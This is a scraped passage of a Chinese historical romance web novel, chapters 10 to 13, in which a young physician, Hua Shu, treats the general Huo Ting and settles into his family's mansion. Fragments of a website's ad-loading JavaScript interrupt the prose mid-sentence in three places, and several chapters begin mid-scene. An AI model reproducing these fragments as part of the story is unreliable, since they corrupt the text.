“那倒不如,让姝儿给她四叔瞧瞧伤势。”大老爷笑着同霍霆介绍:“澜舟,可别看咱家姝儿是个姑娘家,医术颇得你华不为兄长的真传。让她给你瞧瞧,兴许能恢复得更快些。” 霍霆从遥远记忆中,慢慢抽回思绪。 在少时平静安逸的日子中,似乎是有过一个令他屡次啼笑皆非的粉团子。小小的一只,但颇有鬼主意。 他又看了眼,那从始至终都低眉垂眼的姑娘,恍然间又像是记忆错乱。 “华兄长的医术,我自是信得过。” 霍霆轻扯嘴角:“不过在外征战多年,我于她们总归陌生些,待熟识了,再诊脉不迟。” 大老爷见状,也不好再坚持:“如此也好,那就先用膳……” “姝儿愿意为四叔诊脉。”忽然这时,房间响起一道和软如云的声音 始终安静似水的少女,轻轻打断大老爷的话,莲步轻移上前,“入秋后易困乏,我近日正要给大伙缝制一批助眠安神的香囊。给四叔诊过脉,也能对症添置香囊里的药材。” 只不过,她垂在衣摆前的双手,无声搅着,昭示着紧张与不安。 华姝也是反复斟酌,才逼着自己往前迈出这一步。那血燕的银钱,她暂时还不上了。如今难得有个偿还他人情的机会,她得抓住。 早点偿清人情,才能早点划清界限。 “表姑娘,王爷既说了过几日, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你也就不必急在这一时半刻吧。” 静候旁边的长缨,上前一步拦住华姝 且不提这表姑娘此前在木屋隐瞒身份的事颇有蹊跷,单说他家王爷的身体状况实乃机密,轻易不可让旁人知晓。长缨想着,王爷对待家人不好严词拒绝,那这坏人就由他来当。 华姝并不意外,长缨不知山中事,忠心护主情有可原。原是她大意了,一时忘记个中细节。她忙不迭应承道:“那就改日再……” 怎料,“长缨,退下。” 长缨意外回身,“王爷?” 这些年在军中,他家王爷向来说一不二。作下的决定,岂会轻易更改? 霍霆:“退下。” “是。”王爷的说一不二,他长缨还是要遵循的。 华姝将主仆两人的反应看在眼里,心中五味杂陈。总感觉是自己多事裹乱了,一时犹豫着还要不要上前。 事情发展到这地步,气氛不免微妙。 霍千羽笑呵呵打圆场:“四叔和长缨侍卫尽管放心,姝儿看诊很快的,不会耽搁什么。” 大夫人亦是笑着附和:“姝儿且给你四叔诊脉,我去安排人上菜,等会正好赶热吃。” “好。”华姝朝大夫人感激一笑,然后朝霍霆走过去,站定在他跟前。 尽可能自然地,与之浅浅对视一眼,就匆忙蹲下身,垂下眼帘。 纤细圆润的指尖,轻轻扣搭在他膝头的麦色阔腕上,凝神感应脉像。 起初她只当他已彻底康复,只想着往调养方向诊断。不曾想,男人一惯雄健有力的脉搏,竟有些后劲不足。 她不由蹙起眉心,又换作另一只手叩诊,结论相差无几。 “这……怎么会”还有余毒? 她离开山上时,分明已将后面几日的药包都搭配好,只要按时服用,即刻药到毒除。 华姝一时顾不得旁的事,下意识仰头去看他,用只有两个人能听到的低语,询问道。 霍霆垂眸去瞧她,小小一只乖巧蹲在他腿边,更像是只娇小绵软的兔子。 纯净水眸中充满困惑与忧切,微张的唇瓣细嫩而红润,仰头伸长的纤颈白皙得诱人…… 他及时别开目光,重新肃然看向她眼,微微颔首。 “可……” 华姝还想追问什么,忽然意识到两人姿势过于暧昧了。 尤其他低下头后,挨得更近。近得都能瞧见他眉骨疤痕尾部的细小弯钩形状,偶尔甚至能感受他温热的呼吸。 她脸颊倏地一红,慌忙起身,退回到霍千羽旁边。 一来一往,不过三两息。 两人交流得悄无声息,且心照不宣。 旁边的霍家父女,反倒不知不觉成了局外人。霍雲关心道:“姝儿,你四叔身子如何?” 考虑到霍霆的伤势机密,华姝应道:“姝儿才疏学浅,得回去翻看过医书才好定论。” 后面半句话,她是看向霍霆说的。 他这种情况特殊,的确得从长计议,稳妥下药才行。 治好他的毒,他的救命之恩才算彻底抵消。 11. 第 11 章 “霍将军贵为世子爷,按长幼尊卑排序的话,他不应住在二少爷那间院子、与王爷毗邻而居么?”华姝不解。 “姑娘说得在理。据说将军喜静,就挑了最北边的清枫斋。” 团子推开月桂居的木门,“就像对面的这间院子,闲置好多年了。姑娘瞧瞧还缺什么,奴婢去南边的外院为您补齐。” 华姝走进月桂居,入眼就是庭下的一棵繁茂桂花树,米黄花瓣压弯枝头,沁人甜香迎面扑鼻。 她家也有棵桂花树! 意外的熟悉感,让她不禁喜溢眉梢。 走进主屋,左边是米黄清雅的香闺,右边书房里的满墙医书,更让她喜难自持:“团子,你可知先前是何人住在月桂居?” 华姝隐隐生出一种大胆的猜想。 “这个不知。自从奴婢五年前被买进来,月桂居就一直闲置着。”团子递给她一杯茶水,“不过能去为姑娘打听打听,奴婢跟外院的嬷嬷们很相熟。” “倒也不必麻烦,我就随口一问。” 华姝道谢接过茶盏,毕竟是寄人篱下,她还是处处谨言慎行为好。 比如,“霍将军除了喜静,可还有其他忌讳?” 华姝拉着团子,顺势跪坐在书架前的长案旁,拿出随身带的糖果分给她,以便打听清楚霍霆的喜恶。 小团子吃人嘴软,知无不言:“将军性子清冷,喜怒不形于色。除了他亲卫,府中鲜少有人能靠近。就连郡主,敢拔王爷的胡须,可一瞧见将军立刻安静。” 华姝听得心一颤,看来不是她一人怕他怕得紧呀。 也越发好奇:“将军的性情,是因常年战场厮杀的缘故吗?”可她适才瞧着早年征战过的王爷,还挺平易近人的。 “可能吧。只记得有嬷嬷曾说,”团子回忆:“将军十五岁就上阵杀敌,一人一剑抢回一座城,阻止敌军对上万百姓的屠杀,杀神名号由此而来。” 团子虽然念叨着“杀神”,但语气与有荣焉。 华姝也不得不承认,霍霆虽然性冷可怕,却是不折不扣的民族英雄,是整个镇南王府的骄傲。 十五岁就能让敌国损兵折将,这种奇迹,光是想想都觉得不可思议。可放在性情捉摸不定的霍霆身上,一点都不违和。 华姝反观十五岁的自己,弱小得连爹娘、甚至小白猫都保护不了,不禁耷拉下脑袋,有几分泄气。 但当她余光顺着五彩缤纷的晚霞,扫到一整墙发光的医书后,转而恢复信心—— 闻道有先后,术业有专攻。她从现在开始努力,也就不算太晚! * 清风拂来,桂花树飘香满院,檐下的玉竹风铃“叮咚”作响。 浅色柔和的落日余晖,给树下正挖土的娇小身形,拉出一道长长的暗影。 华姝简单收拾后,将小白猫的骨灰,连同它喜欢的毛球,一同埋到桂花树下,“小白,你先陪姐姐安心住这,好不好?” 小白是她两年前从河边捡的,后来每晚都陪在她枕边,就像家人一样。 见到父亲尸首的那晚,她不敢落泪再惹母亲伤心,更想到父亲出门前说的要她照顾好母亲,所以在人前会故作成熟,只有关起门来抱着小白才敢孩子气地啜泣。 小白似能感应到姐姐的脆弱。平时喜欢爬墙招桃花的小野猫,那几日会乖乖卧在她旁边,时不时用毛茸茸的圆脑袋蹭她腿,打滚翻肚皮,变着花样逗她开心。用它独有的笨拙陪伴,帮姐姐驱散心头沉重,给予莫大力量。 那日眼看她被华良抓住,也是小白突然扑过来,一爪子挠在华良手上,为她争取到宝贵的逃生机会。 华良迫不得已吃痛松手,怒不可遏一脚踹去。小白重重撞到墙上,又弹回地面,“嗷嗷”朝他龇牙,却怎么都爬不起来了。 万幸猫都有九条命,它只是脾脏受损,"回头姐姐再给你做两身棉衣,冬日护好你的脏腑脾胃。等来年开春,咱家小白就又是一条好汉啦!” 华姝记得特别清楚,那日也是在家中的桂花树下。小白吃饱喝足后,欢快舔着她手指“喵喵”回应。 她出门去给它买鱼,等再回家时,白茸茸身子已僵硬、双眼还直勾勾望着门口,像是想和姐姐作最后的告别…… “小白,等姐姐做完两件棉衣,再一起烧给你。” 眼前浮现出她和小白一幕幕的美好回忆,从它初时胆怯、逐渐撒娇、到后来时而黏人时而傲娇,华姝越是回忆,眼泪越是决堤。 团子递来帕子,“姑娘,擦擦吧。” 华姝接过帕子拭泪,“多谢,让你见笑了。” “怎么会?”团子扶她起身,走回房中,“好容貌,好才情,好性情,对猫儿都这么付出真心……能伺候这位新主子,奴婢真真是三生有幸。” “不过您也别太伤心,”团子边为她倒水净脸,边开导道:“猫狗的寿命比人短,走在我们前头也是常有的事。” 华姝走到梳洗台旁,往脸颊泼了一把冷水,“小白不是病死的,是被人活活掐死的。”一想到这,她再度疼得摧心断肠。 “天呐!谁这么可恶?”团子义愤填膺:“那您有找到真凶吗?这种猪狗不如的畜生,就该千刀万剐!” “是我二叔儿子干的,后来多亏霍将军帮忙……” “姝儿,收拾得怎么样了?” 这时,院门“吱呀”作响。是孙氏安顿好舒云院中的杂事,过来瞧她。 华姝不想母亲难过,忙擦干净脸,笑盈盈迎出去,诉说对桂花树和满墙医书的欢喜。 眼见女儿喜欢月桂居,孙氏放下心,越发感激霍霆的安排。 王府每逢初一和十五会同到饭厅用膳。今日八月十二,晚饭由团子领着从华家带来的牛婶去厨房端来,母女俩在月桂居的中堂,同桌而食。 吃饭前,华姝不忘向华不为浅浅道声平安,也分享了满墙医书带来的喜悦。牌位被供奉在孙氏房中,她就往檐下台阶旁倒尽一碗酒。 晚霞秋风,落花满地,檐下的玉竹风铃随风而响,好似亡父在天之灵给予的回应。 华姝欣喜寻声看去,又仰头望着碧落苍穹,水眸盈盈。 ——爹,我和娘在这都好,您放心吧。姝儿会努力长大,照顾好娘,守住我们永远的家。 * 次日清早,惦记着霍宗飞交代的伴读一事,华姝前往霍凝雪的紫薇阁拜见。 起初,丫鬟来讲郡主未起,她就与团子站在门口等。大半时辰后,丫鬟又来讲郡主身子有碍,她后知后觉,自己这是吃了闭门羹。 眼见头顶太阳渐盛,团子心疼说道:“郡主性情一向如此,不是故意针对您。” “没事,我有心理准备。”昨日霍宗飞介绍爱女时,字里行间的无奈;加上团子用霍凝雪去衬托霍霆的性情,其实就有感知了。 更何况她们出身有着云泥之别,又是寄人篱下,总不能主人家给几分薄面,真就忘记自己是谁。华姝故作轻松笑笑:“先回吧,咱们改日再来拜见。” 团子暗自叹口气,姑娘太过温柔,往后怕是少不得被郡主磋磨。 出门一趟,没见到霍凝雪,倒是经过白鹭洲院门口时,意外碰见霍霖。 十七岁的温润美少年,正带着书童准备出门。他眉眼肖似霍霆,但柔和无害。一袭低调的鸦青长衫,透着浓郁儒雅气,“这位,就是新来的华家小姐?” “见过二少爷。”华姝屈膝行礼。 “大哥的朋友就是我的朋友,日后不必多礼。”霍霖拱手回礼后,笑问:“想着你们昨日舟车劳顿,我就暂未去拜会,没想到华姑娘起得这般早。” “王府景色秀美,忍不住想转转……” “姑娘说谎!” 团子忍不住替她打抱不平,提及霍宗飞要华姝陪霍凝雪读书的事,“二少爷,还请您帮帮姑娘吧。我们都在这等了近一个时辰……” 被当场戳破谎言,华姝哭笑不得,尴尬搓搓手指。但瞧着团子都敢向霍霖告状他亲妹妹,可见霍宗飞所言不假,这位二少爷性子平和,宽以待人。 然后就瞧见霍霖平易近人地低笑出声,“我不是笑你,是笑凝雪那丫头。父王让你教她读书,何止身子有碍,都能要她半条命。” 他对华姝解释:“凝雪心眼不坏,今日她是对事不对人。回头我请父王派人去帮你说一声,她明日就不敢不让你进门了。” 华姝被他笑容感染,也是莞尔:“多谢二少爷,我会尽心为郡主陪读的。” 乖巧知礼,与家里的小霸王形成鲜明对比,让霍霖不禁侧目,多瞧上几眼。 十五岁正是介于小姑娘与少女之间的年纪,温婉又透着一股欢脱。笑起来梨涡朵朵,在阳光照耀下,清甜又明媚。 尤其那双狗狗眼,乍看干净无辜,细看又清纯懵懂得引人亲近,想保护…… 霍霖倏地回神,重新摆正自己位置:“华姑娘肯不计前嫌,霍霖在此替舍妹谢过。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“二少爷言重了。” * 翌日,华姝同一时辰前往紫薇阁,果真顺利进门。 中堂内,芙蓉纹路小窗半开,炽碎的晨曦透过紫色金丝窗帘,泼洒在地面的紫罗兰织锦绒毯上。 至于西间书房,晦暗不明,连窗帘都懒怠拉开,可见这位小郡主真是不爱读书的。 华姝不免头疼,但很快若无其事地收回余光,规矩见礼:“华姝见过郡主。” 霍凝雪一袭华美的紫黛薄纱罗裙,抱胸坐在主位,“就是你,非要教本郡主读书?” 她仰头瞧着华姝顿觉没气势,于是站起来。还是不够高,她又站到了太师椅上。直到能俯看华姝,才算满意。 十岁孩童尚未盘发,垂髫麻花辫随着她动作晃来晃去,气势没增,倒是瞧着挺有趣。 华姝忍俊不禁,沉闷心情忽然就轻快起来,“谈不上教导,只是陪读罢了。” “陪读也不是谁来都行的。”霍凝雪扬起下巴,“若能过得了本郡主三关,才算有资格。” 华姝了然,看来这位郡主昨日也是挺忙的,一边身子不适,一边还要准备题目。 第一关,诗词接龙。 “晚来天欲雪,能饮一杯无?”霍凝雪得意挑眉:“上一句。” 诗词接龙一向承接下句,且此上句传诵不广。这题目小有难度,但难不倒华姝:“绿蚁新醅酒,红泥小火炉。” 团子竖起大拇指。 霍凝雪不甘地抿抿唇:“第二关,猜谜。” “你可听好,我今日早膳要吃一道面食,一道荤菜,一碗热汤,一个甜果。”她跳下太师椅,绕着华姝踱步,“这四道吃食必须满足:骨包肉,肉包骨,皮包水,水包/皮。” 团子径直两眼一黑。 旁边的婢女挑眉偷笑。这题目,她可翻找了一日一夜。 华姝这回也有点犯难,抵唇沉思。 皮包水,水包/皮。本是扬州习俗,早间空腹吃茶,晚间泡澡泡脚。可问题是,规定谜底得是吃食,且特定种类。 “想不出来了吧。”霍凝雪叉起小腰,“就你这水平如何教我?赶紧回去……” “灌汤包是皮包水,鸡腿是肉包骨,陈皮甜汤是水包/皮,石榴是骨包肉。” 华姝娓娓道出答案,惊呆了那婢女。 团子也愣住一瞬,而后狂喜:“全对!姑娘好生厉害!” “闭嘴,你可是王府的人。”霍凝雪指着团子,气得七窍生烟。 她也没想到,这么难的题目居然能被答出来,“看来,本郡主是时候拿出看家本领了。那就是——” 捉迷藏。 作为压轴一关,自然不是普通捉迷藏。王府西侧花园,霍凝雪躲进假山密室,既能朝外喊话,又任凭华姝翻找数圈都寻不见人影。 “只有一刻钟啊,找不到我,你可就输……” “霍凝雪,出来。” 熟悉的清冷沉声,陡然响起,仿佛平地一声惊雷! 整座王府花园瞬间鸦雀无声,就连枝头那只黄绿色的杂毛鹦鹉,都识趣地逼上嘴。 密室里,闯了祸的霍凝雪,急得如热锅上的蚂蚁:完了完了,大魔王怎么提前回府啦? 小霸王撞上大魔王,真可谓是小巫见大巫,气势全无…… 王府的假山东西南三面环湖,修有汉白玉护栏,可凭栏观赏湖中的荷花和锦鲤。往南是湖心凉亭,由拱桥相连,一路通往南岸。 假山密室的门面朝北岸,开阖无声无息,独具匠心。 霍霆一袭湖蓝色常服,长身玉立于北岸边。茂密翠柏下,他气场冷肃依旧,仿佛都能让草木无风自动。 霍凝雪不敢磨蹭太久,硬着头皮挪步到他面前,讨好笑道:“大哥回来啦,路上累不累,可要用膳?” 华姝从对面寻声而来,望见假山的巧思,不由震惊于镇南王府的深厚底蕴。但让她更震惊的,还是霍霆提前回府。 躲是躲不掉了,她沿着蜿蜒的汉白玉护栏小路,也来到北岸,规规矩矩行礼,“见过霍将军。” 霍霆目光淡淡扫过两人,“你们何故在此?” 清冷语调,不怒自威。 霍凝雪不寒而栗:“……华姑娘初到府上,我作为主人家,理应带她到处转转。”她转头拼命朝华姝使眼色,“对吧,华姑娘。” ? 烫手山芋突然抛过来,连带霍霆冰冷的目光,让华姝顿时压力倍增。 12. 第 12 章 “老夫人知道今日是您的大日子,表姑娘肯定要来问安。特意命人备了您爱吃的核桃糕,和羊奶茶。” 不等霍霆表态,桂嬷嬷先行扬声笑道 这是对屋内两位主子的婉言提醒,亦是对华姝的变相保护。 屋内谈话内容,关系霍家分家这等大事,自然别人知道得越少越好。即便老夫人疼爱这孙女,但四爷的心思,旁人也不敢妄加揣度。 华姝朝桂嬷嬷感激一笑,她刚刚的确差点失了分寸。 屋内的谈话声,也随之中止。 老夫人慈爱的声音,从雕花窗户处传出:“是姝儿来啦,外面天凉,快些进来坐。” 随即便有丫鬟挑起门帘:“表姑娘快请。” 华姝点头致谢,而后在桂嬷嬷的陪同下,袅袅款款走入主屋内。 从刚刚母子谈话声辨别,两人是坐在右间茶室的窗前软塌上,于是她转脚向右边走去。 也就在这时,那人和缓平淡的嗓音,再度悠悠响起:“圣上赐的府邸,作为别院即可。此前都是三位兄长在照看母亲,日后澜舟也得好生孝敬您才是。” 华姝摇曳生姿的淡绿裙裾,有一瞬的迟缓。 男人这话,自然是说与老夫人听的。 可她不知自己多心与否,隐隐有一丝错觉,这话亦是说给他听的。 不搬走,继续对门住着。 日日低头不见抬头见。 其实不止她,就连身后的桂嬷嬷,脚步亦是有片刻的微顿。 这等母子私密谈话,四爷既是没防着表姑娘,那就是也没拿她当外人呐。 这是好事,桂嬷嬷由衷替华姝开心。 待老夫人百年之后,表姑娘还能有人依靠,老夫人走得也会踏实些。 霍老夫人自然也是通透的。 两好并成一大好,老人家越发欢喜和乐:“好孩子,有你这句话就够了。如今先好生养伤,日后的事日后你再做决定罢。不论何时,只要你欢喜,娘就欢喜。” “祖母安好,……四叔安好。” 两人谈话结束,华姝以恰当好处的步速,也走到檀香袅袅的茶室内,朝软塌上的两人欠身行礼,淡绿色的裙裾微微堆叠在脚边,好似摇曳生莲。 软榻上,霍霆坐在靠近入屋的雕花拱门一侧,长缨贴着门边笔直无声而立。 “冷不冷,坐下说话。” 坐得靠里的老夫人朝她伸出手,华姝乖巧地递手过去。 老夫人顺势拉着好侄女坐到软塌旁的矮凳上,然后看向对面的儿子,“自打澜舟回来后,你们叔侄俩还是头一次见呢吧。” 这一声“叔侄”,听得俩当事人都眸色微异。一人低头去饮茶,不急不缓地。一个则是咬了一小口核桃糕,樱唇秀气地慢慢咀嚼着。 反正是,俩人谁都没有吭声。 若追究起来,那就是嘴都堵上了,不好答话。 一旁的桂嬷嬷,很有眼力见地没让气氛冷掉,笑着插了句嘴:“刚巧老奴才问过,表姑娘说在大夫人那遇到过。” “那感情好啊。”老夫人来了兴致:“你们那日都聊了些啥呀?” 老人家出发点自然是好的。 殊不知,又是致命一问。 霍霆还好,神色如常品着茶。 但华姝就不太妙了,眼前浮现起那日的一件件尴尬事宜,端庄矜持如她,嘴里的糕点差点没咽利索。 木屋内零零碎碎亲密,肯定不能提。 在人家背后说坏话、还被当场抓包的事,她也不好意思说。 经大伯母讲述的,她幼时在他进士文牒上画画的事……华姝没记忆,姑且厚脸不承认吧。 但老夫人的问话,总是要回的。 可不敢指望着那位来为她当挡箭牌。 “……那日为四叔诊脉来着。入秋后天干物燥,姝儿之前为大伙缝制了香囊,这两日也为四叔做了个。”华姝趁机拿出准备好的香囊,起身走到霍霆面前,纤纤玉手递过去。 霍霆放下茶杯,目光顺着眼前的纤细白净皓腕,。徐徐落在跟前人的白净姣好脸蛋上。 清早的明媚晨曦,从他身后的雕花窗户上歇歇照射而入,在少女如画的眉眼上,额外映出一幅喜鹊衔梅的雕花之画。密如鸦羽的卷翘长睫,一如既往地微颤着,垂眼不敢瞧他。 她在外面那会,一进院门同桂嬷嬷打招呼,他就听到了。软软的嗓音,透着点雀跃。 等着他答复是否搬离的紧张眸色,隔着薄薄的细纱窗户纸,也随之落入他眼里。 这会雀跃不复,她应是失望的吧。 看似心思百转,其实也不过一瞬的功夫。 加之霍霆举手投足一向稳慢有序,正得了空吃早间茶点的老夫人,倒也没让察觉异样。 不过,长缨做了多年侍卫,深知他家王爷作为驰骋沙场的战神将军,从来不喜这些酸书呆子的挂件。 见霍霆没第一时间接过,长缨猜测,自家王爷定是碍于老夫人的面子,不好直接拒绝。于是,他索性伸手去接,完事再随便找个没人的地方丢掉便是。 不成想,一只稳健的大手已先他一步接过香囊,慢条斯理地放到袖袋里,“有心了。” 长缨:嗯? 王爷怎么又不按常理出牌? 王爷最近变化有点大啊! 不对劲,太不对劲了…… “应该的,您不嫌弃便好。” 见香囊送出去了,人情债减少几分,华姝坐回去时,唇角禁不住翘起一抹雀跃小弧度。 她规行矩步惯了,笑意一纵即逝。 却是逃不过那双能百步穿杨的法眼。 不过霍霆倒不至于跟个小姑娘计较,老母亲不是才说的,这是他侄女。 目光落在华姝身旁小几的核桃糕上,一时兴起,也从手边的白玉碟子里捡起一块,尝了口。有点子甜,果然是姑娘家的喜好。 他将剩下的半块放回去,低头时,余光不自觉瞥了眼袖子里的香囊。从面料到绣工,精致而华美。 无论选材还是针脚,显然都比他那双黑靴子的要用心多了。 果真是个花言巧语的小骗子。 斜对面,华姝双手捧着羊奶茶盏小口啜饮着,偷瞄过去的眼神注意到男人的悄然举动。 眼睛眨了眨,福至心灵地脸颊一热。 她真不是故意的。 香囊年年都会给府上的人做,做鞋子倒也给祖母做过,但给男人做鞋还是头一回。父亲在她八岁那年就意外故去,府上几位叔伯的鞋子自有妻子缝制,她可不就是没经验嘛。 不过言而总之,那日谈话内容的事,就被华姝用送香囊的事,轻巧地岔开话题。 三人吃了会茶点,母子俩又继续聊起府上大事小情。华姝安静在一旁听着,偶尔应和两句,只等大夫人和霍千羽过来请安,然后就一道往外坐诊去了。 哪知,这母女俩一过来,那晚的事再度被提起,啥啥都瞒不住了哟。 得知华姝说霍霆长得凶,老夫人倒也不气,“你四叔素来是个面冷心热的,姝儿不必怕他。日后若真被他吓到,来找祖母做主便是。” 华姝羞赧应声:“祖母和四叔对我们都很宽好的。” 至于那画画的事,老夫人更是被逗得乐不可支:“你大伯母倒是没记错,姝儿自小可黏着澜舟了。其他几个侄子侄女都不敢去招惹他,唯独那会最小的姝儿,初生牛犊不怕虎。” “对对对,我记得也是这么回事。”大夫人像是找到知音似的,笑着附和。 旁边桂嬷嬷亦是笑着点头。 至于另一位当事人,安稳不动如山,似也在聚精会神听乐子。 孤立无援,这就让人无奈了。 华姝一寸寸埋低头,红着脸不再答话。能让长辈们乐呵乐呵,权当她尽孝了吧。 “我约莫记得那会,”老夫人兴致勃勃地开始陷入漫长的回忆:“是姝儿喝了满满一壶的女儿红,躺在澜舟的书桌上东倒西歪的,才闹出那么个趣事。” “好家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伙,你三岁就敢一口闷啦?” 霍千羽转头看过来,一脸的惊奇又钦佩:“没瞧出来啊,你这是英雄不问当年勇啊。” 听她这精辟发言,屋内笑声再起。 华姝大窘,头埋得更低,瓮声瓮气地小声辩驳:“我是真没印象了。” 老夫人知道这侄女脸皮薄,索性一碗水端平,将矛头调转到儿子身上,“咱霍家有规定,男子不满十六不准饮酒。那会澜舟年少中进士,心中欢喜就藏了一壶。结果自己一点没捞着,都便宜了小侄女。” 众人亦是忍俊不禁。 但碍于霍霆浑身生人勿进的威严,倒是不敢再笑出声。 桂嬷嬷婉言劝道:“都说岁月如梭,当年的少年进士,这一转眼呐,已贵为王爷了。” “是这个理儿,澜舟今非昔比了。” 在兴头上的老夫人,反应过来,“倒是为娘一时欢喜,说漏了嘴。” “无妨。” 一直没怎么搭话的霍霆,抬眼看向斜对面羞羞答答的人儿,徐徐开口:“幸得母亲提醒,我才能知晓,有个姑娘还欠着我一壶女儿红。” 他语气依旧轻缓沉稳,波澜不惊。 但话里话外,都在暗示讨要他的那壶女儿红。 某个女儿家,瞬间羞红了娇俏小脸。好似当场就要还给他似的。 霍千羽哈哈大笑,再度精辟发言:“那时隔这么多年,按利息折算,可就不是一壶了呢。姝儿,你怕是要为了四叔,倾家荡产了。” 她现在为了他,已经倾家荡产了。 华姝葱白手指搅着淡绿色裙摆,闷闷地应道:“我会想办法还上的。” 不止是那壶女儿红。 霍霆淡淡凝着她,将漂亮脸蛋上的窘迫和失落都看在眼底,没再接话。转头瞧了眼多宝阁上的靛青色沙漏,“时辰差不多了,你们早些出发罢。” 他的话一出,谈笑众人顿时肃然起来 “是差不多了,”霍千羽也瞧一眼沙漏,摇动轮椅,“那祖母、四叔,我们且先去了。” 华姝亦是起身拜别。 老夫人拉着她手,不放心地仔细叮嘱道:“能者多劳但也量力而为,你俩千万别累着自己个。” 华姝乖巧应下,然后就准备隔着霍千羽的轮椅,先一步离那人远远出门去。 岂料,她素手才掀起茶室门口的珠帘叮咚作响,就被男人逮个正着。 “你出身杏林世家,医术固然过硬。然女子行医终究是少数,若为人轻视,可有应对之策?” 熟悉的口吻,又一次适时响起。 威严不容抗拒,且不言明何人。 偏偏又是专门指代她的问话。 华姝不敢不应,脚尖微转,温温吞吞站到他跟前,像学生应对夫子提问一般,垂眸认真应答:“目前能想到的法子是,事实胜于雄辩。” 当初在山上,被那些伤疤彪汉们轻视时,她用的正是这一招。 “若有旁人曲解事实,你当如何?” 霍霆又问道。 “军中将士大多是心明眼亮之辈,想来我稍加解释,总会有人仗义出声,纠正事实的。”华姝又答道。 “若寻衅滋事者,乃是将士们亦不敢得罪的人,你又当如何?”霍霆再问。 “这……” 华姝先前倒是没想过这一层,她鲜少将旁人往坏处去想。 若真要遇到大家伙都不敢得罪之人,那必当是皇亲贵胄级别的贵人了。若被贵人诬陷,她一个无权无势、手无寸铁的小姑娘,又能如何呢? 华姝垂下眉眼,咬着唇想,只要不是入狱砍头的大责难,忍一忍也能过去的吧。 霍霆起初没有催促,只定定瞧着。 待瞧见她那黯然神伤的脸色,复而沉声开口:“无论奸小或贵人,若在外受了责难,不必隐忍。回来告知于我……或你大伯父。” 他从她身上挪开眼,看向霍千羽: “记住,你们是镇南王府的人,是我霍霆的人。” 13. 第 13 章 其实,华姝也一直想再见见这位将士,当面道歉。 可这会大庭广众之下,她实在不便承认此事。尤其霍霆并未将真相告知这人,她更不敢擅自作主。 于是,她轻摇头,“我不认识你。” “但我真的……”刀疤彪汉也意识到旁边人太多,赶忙压低声音:“我真的见过一位女神医,且长得与您极像。” “你、你就只能看见她一双眼,脸都未瞧全,如何就妄下定论?”霍千羽还是极度惧他,但为着华姝,还是颤声反驳道。 “可……” “你莫不是瞧上人家姑娘,故意搭话吧?”旁边的胖老板看不下去了,出言帮忙解围。 刀疤彪汉动了动嘴皮子,终是没再追问,但困惑的目光仍忍不住端详着华姝。 华姝假装没瞧见,温声道:“诊脉吧。” 刀疤彪汉将壮硕粗臂横到手枕上,华姝凝神扣脉,确保被她刺的外伤没想到五脏六腑,稍稍放心些。 然后,她观察他脸色和舌苔等情况,“你近来可是身体多疲乏,经常食欲不振,腹胀?” 刀疤彪汉敬佩地点点头,“不错,全被您说中了。” “你这是湿热入体所致,我给你开一道……” “霍家小姐稍等,属下插一句嘴,还望您莫怪罪。” 一个士兵刚好从旁边隔间看诊完,路过时出言反驳:“属下跟这位兄弟的症状一样,刚刚大夫说了,是燥热之症。” 排队等在门口的士兵,原本就很关注这边看诊的后续。大伙虽没说什么,但现下已面露恍然——瞧瞧,就说女大夫不行吧。 华姝不予理会,只肯定道:“两种病症的确都有上述病症。但他不是燥热,是湿热。” “霍家小姐,您可不能砸我招牌啊?” 给这士兵看诊的旁边大夫,闻言站出来,中气十足地解释道:“他们从岭南那边回到北部中原,本就水土不服,恰逢秋日天干物燥,是而患上的自然燥热之症,不可能是湿热。” 胖老板听后,略略过来叩打刀疤彪汉的脉搏,而后朝华姝难为地点点头,“您不若再重新诊诊,小的瞧着也是燥热。” 霍千羽本来是甚是相信华姝,但瞧胖老板也如此说,不免有些担心。 莫不是姝儿也害怕这刀疤男,一时紧张错诊了? 但当转头去瞧华姝时,却见她目光依旧波澜不惊,不急不缓解释道:“从南方回中原,的确会因水土不服、天干物燥,患上燥热之症。 但正因为他们常年待在南方,那边气候湿热,而他们大多时住在军帐内,床铺低矮,更容易湿邪入体,且多年日积月累。” “各位来瞧他们的面色。” 华姝抱歉一笑:“士兵们常年栉风沐雨,肤色较为幽黑。若瞧得不仔细甄别,燥热的面红耳赤和湿热的面色昏暗,就容易被混淆。” 经她这么一说,其余人不由又仔细观察两人面色,发现那士兵的面色黑中偏红,但刀疤彪汉的脸色则是黑中发黄。 “还真是!” 霍千羽最为欢喜,“没有诊错,就是湿热!” 胖老板和男大夫也相继点头,“霍家小姐心思细腻,这在行医时乃大智慧,我等佩服!” 门口排队的士兵,也随之惊叹: “原来还真是女神医!” “那咱也让霍家小姐帮着瞧瞧!” “刚刚多有轻视,实在汗颜……” 军营里的糙汉子一惯如此,你的实力若真比我强,那我就由衷佩服,该认错就认错!至于怕丢脸,不存在的。 如此一来,女神医的名号正式打了出去,往华姝这个隔间来排队的人,越来越多。 而且还惊喜地发现,华姝会送些自制的特效药膏,大伙更是蜂拥而来。 霍千羽吆喝地热火朝天:“不要挤,不要挤,一个个来,人人都会给诊治的……” 接下来,华姝负责诊脉下药,霍千羽负责将药方子记录在案,并交给药童抓药。两个人小姐妹互相配合,忙得不得空闲,却又不亦乐乎。 * 刀疤彪汉因是湿热入体,华姝除了开内服汤药,在他颈部和手上扎了针灸,辅之以祛湿排毒。 针灸需要等上半个时辰,他就在回春堂盛放药材的里间角落坐了会。趁这功夫,华姝忙里偷闲为他亲手打包。 并将腕上的玉镯,悄悄塞进药包底部 她欠他那一刀,得还。再让他捅回来不现实,就请他拿玉手镯换些强筋健骨的补品吧。 取银针时,看着他颈部的蜈蚣形疤痕,华姝有一瞬微怔。 这伤口再稍微偏一点,就会划破颈动脉,对方明显想治他于死地。 就像霍霆眉骨的那道疤,敌手明显是想划伤他的眼。 那人眼睛最是威慑有神,若是失明,得多可惜。是而,她一定要加紧为他排除余毒…… “我这疤,是否吓到您了?”刀疤彪汉见她一直盯着疤痕瞧,有些不大好意思。 华姝回神,继续取针,“没有,我是想着有无合适的祛疤药膏。” “若是有的话,您不若留给老大吧。哦,就是镇南王爷。” “……你,为何不像外面的士兵一般称呼王爷将军,而是老大?”华姝似漫不经心一问。 实则,当初若非他们这山匪般的称呼,她也不至于完全没察觉。 